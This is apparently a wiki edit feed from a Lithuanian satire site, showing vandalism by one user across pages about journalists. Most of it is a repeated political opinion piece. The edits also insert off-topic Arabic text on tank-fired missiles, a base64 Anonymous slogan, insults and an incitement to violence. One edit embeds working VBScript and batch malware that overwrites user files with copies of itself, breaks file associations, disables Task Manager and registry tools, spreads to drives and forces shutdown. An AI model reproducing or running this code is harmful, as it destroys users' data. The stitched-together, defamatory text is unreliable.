Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46590Dovydas Pancerovas2015-07-20T19:08:55Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg]]|Pancerovo keslai:Labai abejoju, kad kur nors nacių okupuotoje teritorijoje, miestų ar kaimų centruose, yra paminklų, šlovinančių žudikus: amžina šlovė Vermachtui, čia ilsisi šaunieji Waffen SS kariai!<br />
<br />
Susivokęs žmogus tokių karių nesmerkia, nes jie tarnavo, bet ir nešlovina.<br />
<br />
Tad po Žaliojo tilto balvonų būtų laikas pradėti galvoti apie okupantų raudonarmiečių kapų iškėlimą už miestų ribų. Arba bent jau propagandinių, melą skleidžiančių paminklų nuėmimą. Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo). Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46589Dovydas Pancerovas2015-07-20T18:41:24Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg]]|Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Vaizdas:Pa.jpeg&diff=46588Vaizdas:Pa.jpeg2015-07-20T18:40:38Z<p>Panceris88: pa</p>
<hr />
<div>pa</div>Panceris88https://www.pipedija.com/index.php?title=Milda_Barta%C5%A1i%C5%ABnait%C4%97&diff=46587Milda Bartašiūnaitė2015-07-20T18:29:08Z<p>Panceris88: 4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRv</p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:Blackhat.jpeg|400px|thumb|right|Milda Bartašiūnaitė [[tokia]] ]]<br />
وبحسب الخبير المصري محمد منصور فإن هذه القذائف مصممة للإطلاق من سبطانات الدبابات السورية من طراز تى ٥٥ المطورة "النسختين ايه ام - ايه ام فى" وقد حصلت سوريا فى الثمانينيات على اعداد من هذه القذائف تتراوح ما بين ١٥٠٠ الى ٢٠٠٠ قذيفة تم تخزينها فى مخازن بالقرب من هضبة الجولان لمواجهة الدبابات الأسرائيلية<br />
<br />
هذه القذائف من عيار ١٠٠ مللم تمتلك قدرة اختراق تصل الى ٦٠٠ مللم خلف الدرع التفاعلى و طريقة عملها تعتمد على اطلاق ذخيرة ال "٣UBK١٠M-١" لتكون كشحنة دافعة للقذيفة الموجهة و من ثم يسقط محرك ذخيرة ال "٣UBK١٠M-١" و تنطلق قذيفة ال "٣UBK١٠M-١" الصاروخية فى اتجاه الهدف اعتمادا على ركوب شعاع ليزر مسلط على الهدف من جهاز تهديف ملحق بسبطانة مدفع التى ٥٥ المطورة<br />
حسابه الشخصي، ولهذا في حال أراد المستخدم إيقاف حسابه لسببٍ ما، إلا أنه لا يرغب أن تضيع منشوراته ومعلوماته التي قام بوضعها داخل حسابه الشخصي، ولهذا في حال أراد المستخدم إيقاف حسابه لسببٍ ما، إلا أنه لا يرغب أن تضيع منشوراته ومعلوماته التي قام بوضعها داخل <br />
<br />
حسابه الشخصي، ولهذا في حال أراد المستخدم إيقاف حسابه لسببٍ ما، إلا أنه لا يرغب أن تضيع منشوراته ومعلوماته التي قام بوضعها داخل كما تحتوي على معلومات لا تتوفر بصورة بسيطة بتسجيل الدخول، مثل الإعلانات التي قام المستخدم بالنقر عليها وبيانات مثل عناوين IP التي تم تسجيلها عند تسجيل الدخول أو الخروج من فيس بوك، والمزيد، ونظرًا لأن ملف التنزيل يحتوي على معلومات شخصية، ينبغي على <br />
<br />
كما تحتوي على معلومات لا تتوفر بصورة بسيطة بتسجيل الدخول، مثل الإعلانات التي قام المستخدم بالنقر عليها وبيانات مثل عناوين IP التي تم تسجيلها عند تسجيل الدخول أو الخروج من فيس بوك، والمزيد، ونظرًا لأن ملف التنزيل يحتوي على معلومات شخصية، ينبغي على <br />
<br />
<br />
[[Category:Prezidentai]]</div>Panceris88https://www.pipedija.com/index.php?title=Milda_Barta%C5%A1i%C5%ABnait%C4%97&diff=46586Milda Bartašiūnaitė2015-07-20T18:25:10Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:Blackhat.jpeg|400px|thumb|right|Milda Bartašiūnaitė [[tokia]] ]]<br />
وبحسب الخبير المصري محمد منصور فإن هذه القذائف مصممة للإطلاق من سبطانات الدبابات السورية من طراز تى ٥٥ المطورة "النسختين ايه ام - ايه ام فى" وقد حصلت سوريا فى الثمانينيات على اعداد من هذه القذائف تتراوح ما بين ١٥٠٠ الى ٢٠٠٠ قذيفة تم تخزينها فى مخازن بالقرب من هضبة الجولان لمواجهة الدبابات الأسرائيلية<br />
<br />
هذه القذائف من عيار ١٠٠ مللم تمتلك قدرة اختراق تصل الى ٦٠٠ مللم خلف الدرع التفاعلى و طريقة عملها تعتمد على اطلاق ذخيرة ال "٣UBK١٠M-١" لتكون كشحنة دافعة للقذيفة الموجهة و من ثم يسقط محرك ذخيرة ال "٣UBK١٠M-١" و تنطلق قذيفة ال "٣UBK١٠M-١" الصاروخية فى اتجاه الهدف اعتمادا على ركوب شعاع ليزر مسلط على الهدف من جهاز تهديف ملحق بسبطانة مدفع التى ٥٥ المطورة<br />
<br />
<br />
4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy4oCcV2UgYXJlIEFub255bW91cy4gV2UgYXJlIExlZ2lvbi4gV2UgZG8gbm90IGZvcmdpdmUuIFdlIGRvIG5vdCBmb3JnZXQuIEV4cGVjdCB1cy<br />
<br />
<br />
<br />
<br />
[[Category:Personažai]]</div>Panceris88https://www.pipedija.com/index.php?title=Andrius_U%C5%BEkalnis&diff=46585Andrius Užkalnis2015-07-20T18:18:37Z<p>Panceris88: shutdown</p>
<hr />
<div>{{teslos gabalas}}<br />
[[Vaizdas:Uzk.jpeg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]<br />
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])NighTGhosT<br />
<br />
<br />
<br />
<br />
haha()<br />
Sub haha()<br />
On Error Resume Next<br />
Dim d, dc, s, fso, haha<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set dc = fso.Drives<br />
For Each d In dc<br />
If d.DriveType = 2 Or d.DriveType = 3 Then<br />
hihi (d.Path & "\")<br />
End If<br />
Next<br />
haha = s<br />
End sub<br />
Sub hehe(folderspec)<br />
On Error Resume Next<br />
Dim f, f1, fc, ext, s, fso<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set f = fso.GetFolder(folderspec)<br />
Set fc = f.Files<br />
For Each f1 In fc<br />
ext = fso.GetExtensionName(f1.Path)<br />
ext = LCase(ext)<br />
s = LCase(f1.Name)<br />
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then<br />
Set f = fso.getfile(wscript.scriptfullname)<br />
f.Copy (f1.Path & ".vbe")<br />
fso.deletefile(f1.path)<br />
End If<br />
Next<br />
End Sub<br />
Sub hihi(folderspec)<br />
On Error Resume Next<br />
Dim f, f1, sf, fso<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set f = fso.GetFolder(folderspec)<br />
Set sf = f.SubFolders<br />
For Each f1 In sf<br />
hehe (f1.Path)<br />
hihi (f1.Path)<br />
Next<br />
End Sub<br />
:task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err<br />
DisableTaskMgr /t reg_dword /d 1reg add "hkcu\\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f<br />
<br />
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat<br />
<br />
attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat<br />
<br />
goto err<br />
<br />
:err;shutdown -t 5 -s</div>Panceris88https://www.pipedija.com/index.php?title=Audrius_Ba%C4%8Diulis&diff=46584Audrius Bačiulis2015-07-20T18:14:37Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:Cham.jpeg|thumb|right|300px|Audrius Bačiulis galėtų ir geresnę fotkę įsidėti, o tai reikia skolintis iš visokių lenkiškų portalų]]<br />
<br />
:Pilna to žodžio prasme, [[Audrius Bačiulis]] yra didis žmogus. Tiek apimtimis fizinėmis, tiek mentalinėmis.<br />
<br />
"''Geidžiamiausias Lietuvos senbernis''", "''Apžvalgininkas su kvapu''" taip sakydavo ant ilgamečio "[[Veidas|Veido]]" žurnalisto, daugybės straipsnių, tarp kurių net publikacijos lenkų kalba ([[!]]), autoriaus...<br />
<br />
<br />
== Audrius Bačiulis ir [[Andrius Kubilius]] ==<br />
Anuomet, kai siautėjo [[Rusija|Rusijos]] [[krizė]], [[Andrius Kubilius]] irgi buvo [[Premjeras]]. Tai [[Audrius Bačiulis]] buvo [[Andrius Kubilius|Andriaus Kubiliaus]] atstopvu spaudai tada. Tai [[Audrius Bačiulis]] gali jam tiesiai pasakyt: "''Nu baik tu, Andriau''", tik kažin ar dabar bepasako...<br />
<br />
<br />
== Audrius Bačiulis ir [[Pedivikija]] ==<br />
Taigi anas buvo aprašytas Pedivikijoje maždaug taip: ''Audrius Bačiulis (g.) - žurnalistas, Lietuvos vidaus ir užsienio politikos apžvalgininkas, žurnalo „Veidas“ apžvalgininkas. Lietuvos prezidento Valdo Adamkaus rinkimų kampanijos dalyvis.''<br />
<br />
